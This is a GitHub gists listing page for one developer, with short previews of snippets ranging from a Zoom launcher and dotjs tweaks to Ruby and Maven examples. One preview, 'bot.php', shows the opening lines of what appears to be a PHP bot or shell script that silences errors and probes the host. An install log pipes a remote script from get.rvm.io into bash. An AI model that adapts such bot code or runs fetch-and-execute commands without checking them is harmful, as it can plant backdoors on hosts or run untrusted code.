Skip to content

Instantly share code, notes, and snippets.

View rick's full-sized avatar
🎧
Quietly doing

Rick Bradley rick

🎧
Quietly doing
View GitHub Profile
@rick
rick / zoom-by-command-line.txt
Created October 3, 2019 23:17
run a zoom meeting straight from the command-line given a meeting ID number (bypass chrome, etc.)
/Applications/zoom.us.app/Contents/MacOS/zoom.us "package.name=zoomusInstallerFull.pkg&package.version=latest&package.size=15216k&downloadRoot=https://launcher.zoom.us/client&action=join&browser=chrome&confid=dXc7amUaTB6L4MoR1f4SKQ%3D%3D&confno=8948405401&zc=0&mcv=0.92.11227.0929&pk=e30&sta=false"
set `confid` to your room meeting
@rick
rick / checkychecky.md
Created November 21, 2016 16:43
test markdown checkboxes
  • this is a checklist
    • or is it a task list?
  • click this
  • test this
@rick
rick / github.com.js
Created September 19, 2013 22:04
dotjs file to mute unread github notifications on a repo
$("button.mark-all-as-read").parent().prepend('<button class="box-action mute-all-unread css-truncate tooltipped upwards" original-title="mute all unread notifications"> <span class="octicon octicon-mute"></span> </button>');
$('button.mute-all-unread').click(function(event) {
// mute all unread notifications
$(this).parent().parent().parent().find('li.unread').find('.js-mute-notification button').click();
return false;
});
@rick
rick / bot.php
Last active December 27, 2015 07:39
<?php
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
@rick
rick / ncaa.com.js
Created March 24, 2013 01:21
Make it possible to skip NCAA ads in March Madness live stream. Run this with dotjs and, when the main flash app with the game schedule comes on, click the '75th anniversary' icon at the bottom of the page, then proceed to your game. Should let you use video controls again (usually disabled when ads are on).
$("#footer span.footerText a").first().click(function(){
event.preventDefault();
orig = $('#mainApp object param[name="flashvars"]').attr('value');
replacement = orig.replace('superduperdevtime=false', 'superduperdevtime=true');
$('#mainApp object param[name="flashvars"]').attr('value', replacement);
});
@rick
rick / intra-seeds.txt
Created March 19, 2013 00:25
Intra-seed rankings - March Madness 2013
- seed rankings
1
louisville
indiana
kansas
gonzaga
@rick
rick / rvm-jruby-1.7.13.txt
Last active November 9, 2015 18:56
ubuntu installation of jruby 1.7.13 via latest RVM
Last login: Tue Nov 3 09:00:18 2015 from c-68-53-142-130.hsd1.tn.comcast.net
Mon Nov 09 13:47:23 gampopa ~
# ▸ curl -sSL https://get.rvm.io | bash -s stable --ruby=jruby
Downloading https://github.com/rvm/rvm/archive/1.26.11.tar.gz
Downloading https://github.com/rvm/rvm/releases/download/1.26.11/1.26.11.tar.gz.asc
gpg: keyring `/root/.gnupg/pubring.gpg' created
gpg: Signature made Mon 30 Mar 2015 05:52:13 PM EDT using RSA key ID BF04FF17
gpg: requesting key BF04FF17 from hkp server keys.gnupg.net
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key D39DC0E3: public key "Michal Papis (RVM signing) <mpapis@gmail.com>" imported
@rick
rick / foo.rb
Created October 17, 2012 19:06
sample of how instance variables and accessors behave
~ (master)(*)$ irb
>>
>> class Foo
>> attr_accessor :read_write
>> attr_reader :readonly
>> attr_writer :writeable
>>
?> def initialize(read_write, readonly, writeable)
>> @read_write = read_write
>> @readonly = readonly
@rick
rick / public.rb
Created September 12, 2012 01:48
public gist
#!/usr/bin/env ruby
echo "public"
raise "private"
@rick
rick / gist:3667503
Created September 7, 2012 16:17 — forked from mgencur/gist:3666350
just testing forking of public gists. ignore me :-)
dependency>
<groupId>org.jboss.weld</groupId>
<artifactId>weld-core</artifactId>
<version>1.1.8.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.weld.servlet</groupId>
<artifactId>weld-servlet-core</artifactId>
<version>1.1.8.Final</version>
<scope>compile</scope>